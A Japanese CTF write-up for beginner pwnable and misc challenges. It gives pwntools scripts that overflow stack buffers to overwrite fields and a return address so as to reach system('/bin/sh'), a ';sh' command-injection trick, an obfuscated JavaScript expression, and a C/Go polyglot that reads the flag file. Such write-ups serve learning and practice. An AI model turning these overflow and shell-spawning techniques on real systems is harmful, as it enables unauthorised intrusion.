Pwnable

super_easy

典型的なbof

なんかinitialize呼び出されてないしワンチャンいけないかと思ったけどワンチャン無かった.

色々やってもいいが,とりあえずtask.is_doneをやる.

#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_address', 30002)

payload = b'a' * 17

io.sendlineafter(b'name\n', payload)

io.recvuntil(b'97')
io.readline()

print(io.recvuntil(b'}').decode())

super_easy2

task.score == 0x1337が追加される

冷静にやる

#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy2'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30003)

payload = b'a' * 16
payload += b'a' * 4
#payload += pack(0x1337)
payload += b'\x37\x13\x00\x00'

io.sendlineafter(b'name\n', payload)

io.readline()
io.readline()
io.readline()
print(io.recvuntil(b'}').decode())

super_easy3

deadlineのチェックが入る

適当に今の時間を作ってやる

最初rateに気づかず,通らないので焦った

冷静にやる

#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy3'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30004)

payload = b'a' * 16
payload += b'b' * 4
payload += b'\x37\x13\x00\x00'
payload += b'\xef\xbe\xad\xde'
payload += b'\xef\xbe\xad\xde'
assert(len(payload) == 32)
payload += b'\x77\xa9\xb5\x61'

io.sendlineafter(b'name\n', payload)

io.recvuntil(b'2021\n')

io.readline()
print(io.recvuntil(b'}').decode())

script_kiddie2

systemしてくれるので,;shでそのままシェルとる.

prediction

revっぽいバイナリがあるが,bofがあるのと比較失敗時にexitせずreturnしてる上,canaryも無いのでやり放題

system(binsh)

prediction

revっぽいバイナリがあるが,bofがあるのと比較失敗時にexitせずreturnしてる上,canaryも無いのでやり放題.

system(binsh)してるので,そこに飛ばす

#!/usr/bin/env python3
from pwn import *
binfile = 'prediction'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30006)

shell = 0x4013f7

payload = b'a'*0x38


payload += pack(shell)

io.sendlineafter(b'?', payload)

io.sendlineafter(b'flag\00', b'cat flag')

print(io.recvuntil(b'}').decode())

misc

js

気合

((+((++[[]][+[]])+([][[]]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]+((++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]]))+(+[])+((++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])))+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])])+(![]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]+(![]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]

polygolf

Goのprintはstderrに吐くらしいのと,fから始まる他のファイルがあるらしく,これでは通らなかった

//\
/*
main(){system("cat f*");}
#if 0
//*/
package main
import ."os/exec"
func main(){o,_:=Command("cat","flag").Output();print(string(o))}
//\
/*
#endif
//*/